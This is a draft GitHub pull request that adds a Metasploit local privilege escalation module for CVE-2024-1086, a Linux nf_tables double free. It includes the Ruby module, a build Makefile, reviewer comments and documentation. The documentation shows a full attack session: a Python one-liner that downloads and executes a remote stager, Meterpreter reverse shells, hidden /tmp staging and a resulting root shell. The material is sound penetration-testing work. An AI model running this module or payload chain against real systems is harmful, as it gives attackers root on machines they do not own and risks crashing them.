Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WIP: LPE CVE-2024-1086 #19625

Draft
wants to merge 1 commit into
base: master
Choose a base branch
from
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 21 additions & 0 deletions data/exploits/CVE-2024-1086/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2024 Notselwyn

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
31 changes: 31 additions & 0 deletions data/exploits/CVE-2024-1086/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
SRC_FILES := src/main.c src/env.c src/net.c src/nftnl.c src/file.c
OUT_NAME = ./exploit

# use musl-gcc since statically linking glibc with gcc generated invalid opcodes for qemu
# and dynamically linking raised glibc ABI versioning errors
CC = musl-gcc

# use custom headers with fixed versions in a musl-gcc compatible manner
# - ./include/libmnl: libmnl v1.0.5
# - ./include/libnftnl: libnftnl v1.2.6
# - ./include/linux-lts-6.1.72: linux v6.1.72
CFLAGS = -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations

# use custom object archives compiled with musl-gcc for compatibility. normal ones
# are used with gcc and have _chk funcs which musl doesn't support
# the versions are the same as the headers above
LIBMNL_PATH = ./lib/libmnl.a
LIBNFTNL_PATH = ./lib/libnftnl.a

exploit: _compile_static _strip_bin
run: _run_outfile
clean: _clean_outfile

_compile_static:
$(CC) $(CFLAGS) $(SRC_FILES) -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH)
_strip_bin:
strip $(OUT_NAME)
_run_outfile:
$(OUT_NAME)
_clean_outfile:
rm $(OUT_NAME)
Original file line number Diff line number Diff line change
@@ -0,0 +1,153 @@
## Vulnerable Application

A use-after-free vulnerability in the Linux kernels netfilter: nf_tables component can be
exploited to achieve local privilege escalation. The nft_verdict_init() function allows
positive values as drop error within the hook verdict, and hence the nf_hook_slow() function
can cause a double free vulnerability when NF_DROP is issued with a drop error which
resembles NF_ACCEPT.

Devices with a WiFi interface will likely be unstable with this exploit and crash.

Failed exploitation will likely HARD crash the system or put it into an unreliable state
and it will need a physical reset/reboot.

Tested against a VM of Ubuntu 22.04 (Linux 5.15.0-60-generic)

## Verification Steps

1. Install the application
2. Start msfconsole
3. Get an initial shell
4. Do: `use exploit/linux/local/netfilter_nf_tables_priv_esc`
5. Do: `run`
6. You should get a root shell.

## Options

## Scenarios

### Ubuntu 22.04 with kernel 5.15.0-60-generic

Get initial shell.

```
resource (netfilter)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (netfilter)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (netfilter)> set uripath a
uripath => a
resource (netfilter)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://1.1.1.1:8080/a
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8080/a', context=ssl._create_unverified_context());exec(r.read());"
[*] 2.2.2.2 web_delivery - Delivering Payload (432 bytes)
[*] Sending stage (24768 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:38082) at 2024-11-07 14:15:40 -0500
```

Privilege escalate

```
resource (netfilter)> use exploit/linux/local/netfilter_nf_tables_priv_esc
resource (netfilter)> set session 1
session => 1
resource (netfilter)> set lport 9879
lport => 9879
resource (netfilter)> set verbose true
verbose => true
resource (netfilter)> set compile True
compile => True
msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) >
msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) > exploit

[*] Started reverse TCP handler on 1.1.1.1:9879
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: python
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Kernel version 5.15.0-60-generic appears to be vulnerable
[*] Creating /tmp/.FQ977lR1fc
[*] Creating directory /tmp/.FQ977lR1fc
[*] /tmp/.FQ977lR1fc created
[+] musl-tools is installed
[*] Creating upload zip
[*] Finished creating exploit source zip, uploading...
[*] Unzipping exploit code on remote system
[*] Compiling
musl-gcc -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations src/main.c src/env.c src/net.c src/nftnl.c src/file.c -o ./exploit -static ./lib/libnftnl.a ./lib/libmnl.a
src/main.c:197:13: warning: ‘breached_the_mainframe’ defined but not used [-Wunused-function]
197 | static void breached_the_mainframe()
| ^~~~~~~~~~~~~~~~~~~~~~
strip ./exploit
[*] Uploading payload executable to /tmp/.FQ977lR1fc/.usnoXVKwh
[*] Writing '/tmp/.FQ977lR1fc/.usnoXVKwh' (282 bytes) ...
[*] Launching exploit...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2

[*] [*] creating user namespace (CLONE_NEWUSER)...
[*] [*] creating network namespace (CLONE_NEWNET)...
[*] [*] setting up UID namespace...
[*] [*] configuring localhost in namespace...
[*] [*] setting up nftables...
[*] [+] running normal privesc
[*] [*] waiting for the calm before the storm...
[*] [*] sending double free buffer packet...
[*] [*] spraying 16000 pte's...
[*] [*] checking 16000 sprayed pte's for overlap...
[*] [+] confirmed double alloc PMD/PTE
[*] [+] found possible physical kernel base: 000000004da00000
[*] [-] failed to find correct modprobe_path: trying to find new kernel base...
[*] [+] found possible physical kernel base: 0000000058600000
[*] [-] failed to find correct modprobe_path: trying to find new kernel base...
[*] [+] found possible physical kernel base: 000000005e400000
[*] [-] ^false positive. skipping to next one
[*] [-] ^false positive. skipping to next one
[*] [-] failed to find correct modprobe_path: trying to find new kernel base...
[*] [+] found possible physical kernel base: 0000000064400000
[*] [-] failed to find correct modprobe_path: trying to find new kernel base...
[*] [+] found possible physical kernel base: 000000006ae00000
[*] [-] ^false positive. skipping to next one
[*] [-] failed to find correct modprobe_path: trying to find new kernel base...
[*] [+] found possible physical kernel base: 0000000087200000
[*] [-] ^false positive. skipping to next one
[*] [-] failed to find correct modprobe_path: trying to find new kernel base...
[*] [+] found possible physical kernel base: 000000008d000000
[*] [-] ^false positive. skipping to next one
[*] [-] ^false positive. skipping to next one
[*] [-] ^false positive. skipping to next one
[*] [-] failed to find correct modprobe_path: trying to find new kernel base...
[*] [+] found possible physical kernel base: 0000000090800000
[*] [-] ^false positive. skipping to next one
[*] [-] ^false positive. skipping to next one
[*] [-] failed to find correct modprobe_path: trying to find new kernel base...
[*] [+] found possible physical kernel base: 000000009da00000
[*] [-] failed to find correct modprobe_path: trying to find new kernel base...
[*] [+] found possible physical kernel base: 00000000a2e00000
[*] [-] ^false positive. skipping to next one
[*] [-] ^false positive. skipping to next one
[*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died


[*] Meterpreter session 2 opened (1.1.1.1:9879 -> 2.2.2.2:46390) at 2024-11-07 14:21:32 -0500
[-] exploit: Interrupted
msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) >
msf6 exploit(linux/local/netfilter_nf_tables_priv_esc) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 22.04 (Linux 5.15.0-60-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
```
177 changes: 177 additions & 0 deletions modules/exploits/linux/local/netfilter_nf_tables_priv_esc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,177 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netfilter nf_tables Linux Priv Esc',
'Description' => %q{
A use-after-free vulnerability in the Linux kernels netfilter: nf_tables component can be
exploited to achieve local privilege escalation. The nft_verdict_init() function allows
positive values as drop error within the hook verdict, and hence the nf_hook_slow() function
can cause a double free vulnerability when NF_DROP is issued with a drop error which
resembles NF_ACCEPT.

Devices with a WiFi interface will likely be unstable with this exploit and crash.

Successful exploitation will likely crash the original shell.

Failed exploitation will likely HARD crash the system or put it into an unreliable state
and it will need a physical reset/reboot. Attempted re-exploitation without a reboot will
hard crash the system.

Tested against a VM of Ubuntu 22.04 (Linux 5.15.0-60-generic)
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Notselwyn' # original PoC
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://pwning.tech/nftables/'],
[ 'URL', 'https://github.com/Notselwyn/CVE-2024-1086'],
[ 'CVE', '2024-1086']
],
'DefaultOptions' => {
# without these the system seems to hard crash in 2-6min
# with these i've had both shells and the system stable for over an hour
'PrependMigrate' => true,
'PrependFork' => true
},
'DisclosureDate' => '2024-01-31',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_OS_DOWN],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is SCREEN_EFFECTS due to the system locking up here? If not would you mind dropping a comment to clarify.

}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def check
# there is likely backporting going on per distro as well
release = kernel_release
if (
Rex::Version.new(release.split('-').first) >= Rex::Version.new('5.15.0') &&
Rex::Version.new(release.split('-').first) < Rex::Version.new('6.0')
) ||
(
Rex::Version.new(release.split('-').first) < Rex::Version.new('6.6') &&
Rex::Version.new(release.split('-').first) >= Rex::Version.new('6.0')
)
return CheckCode::Appears("Kernel version #{release} appears to be vulnerable")
end
Comment on lines +81 to +91
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
release = kernel_release
if (
Rex::Version.new(release.split('-').first) >= Rex::Version.new('5.15.0') &&
Rex::Version.new(release.split('-').first) < Rex::Version.new('6.0')
) ||
(
Rex::Version.new(release.split('-').first) < Rex::Version.new('6.6') &&
Rex::Version.new(release.split('-').first) >= Rex::Version.new('6.0')
)
return CheckCode::Appears("Kernel version #{release} appears to be vulnerable")
end
release = kernel_release().split('-').first
if release.between(Rex::Version.new('5.15.0'), Rex::Version.new('6.0'))
return CheckCode::Appears("Kernel version #{release} appears to be vulnerable")
elsif release.between(Rex::Version.new('6.0'), Rex::Version.new('6.6'))
return CheckCode::Appears("Kernel version #{release} appears to be vulnerable")
end

but it seems that this can be simplified even further to:

    release = kernel_release().split('-').first
    if release.between(Rex::Version.new('5.15.0'), Rex::Version.new('6.6'))
      return CheckCode::Appears("Kernel version #{release} appears to be vulnerable")
    end


CheckCode::Safe("Kernel version #{release} is not vulnerable")
end

def check_musl_tools?
lib = cmd_exec('dpkg --get-selections | grep musl-tools')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This will only work on Debian :/

if lib.include?('musl-tools')
vprint_good('musl-tools is installed')
return true
else
print_error('musl-tools is not installed. Compiling will fail.')
end
false
end

def exploit
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

nested_base = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A couple of IDS are flagging binary execution happening instead hidden folders. I think it'd be better to let the user specify the full path of the folder.

print_status("Creating #{nested_base}")
mkdir nested_base
register_dirs_for_cleanup(nested_base)

if live_compile? &&
check_musl_tools? &&
(command_exists?('unzip') || command_exists?('python3'))
print_status 'Creating upload zip'
zip = Rex::Zip::Archive.new
# zip the entire exploit source
exploit_folder = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2024-1086')
exploit_path = ".#{rand_text_alphanumeric(5..10)}"
Dir.glob("#{exploit_folder}/**/*").each do |file|
# avoid .md files
next if File.extname(file) == '.md' || !File.file?(file) || file == 'LICENSE'

file_contents = File.read(file)

file_contents.gsub!('OUT_NAME = ./exploit', "OUT_NAME = ./#{exploit_path}") if file.include? 'Makefile'

# Add each file to the archive with its relative path
zip.add_file(file.split('CVE-2024-1086/')[1], file_contents)
end
print_status('Finished creating exploit source zip, uploading...')
zip_path = "#{nested_base}/.#{rand_text_alphanumeric(5..10)}.zip"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can't the files be concatenated instead?

write_file(zip_path, zip.pack)
print_status('Unzipping exploit code on remote system')
# if unzip
# cmd_exec "cd #{nested_base}; pwd; unzip exploit.zip"
# if python3
if command_exists?('python3')
cmd_exec "python3 -m zipfile -e #{zip_path} #{nested_base}"
else
cmd_exec "unzip #{zip_path} -d #{nested_base}"
end
print_status('Compiling')
cmd_exec "cd #{nested_base}; make"
Comment on lines +147 to +153
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The nested_base value contains a portion that is user specified from the WritableDir datastore option. If that value contains a space, then these commands will fail.

We've recently added a new command execution API to handle these cases correctly and t should generally be used when the command is not static.

As an example the first one should be create_process('python3', args: ['-m', 'zipfile', '-e', zip_path, nested_base]).

The new #create_process method will take the arguments and ensure that they are escaped correctly for you given the context in which they're executed (platform, session type, etc.).

executable_path = "#{nested_base}/exploit"
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('example')
end

# Upload payload executable
payload_path = "#{nested_base}/.#{rand_text_alphanumeric(5..10)}"
print_status("Uploading payload executable to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
timeout = 60
print_status 'Launching exploit... (may take a few minutes)'
# this is the original line we typically use, but exiting from the shell brougth on
# by the exploit causes the system to possibly become unstable. We also use a migrate
# and prepend fork for overall system stability.
# output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout

output = cmd_exec "echo '#{payload_path}' | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end
Loading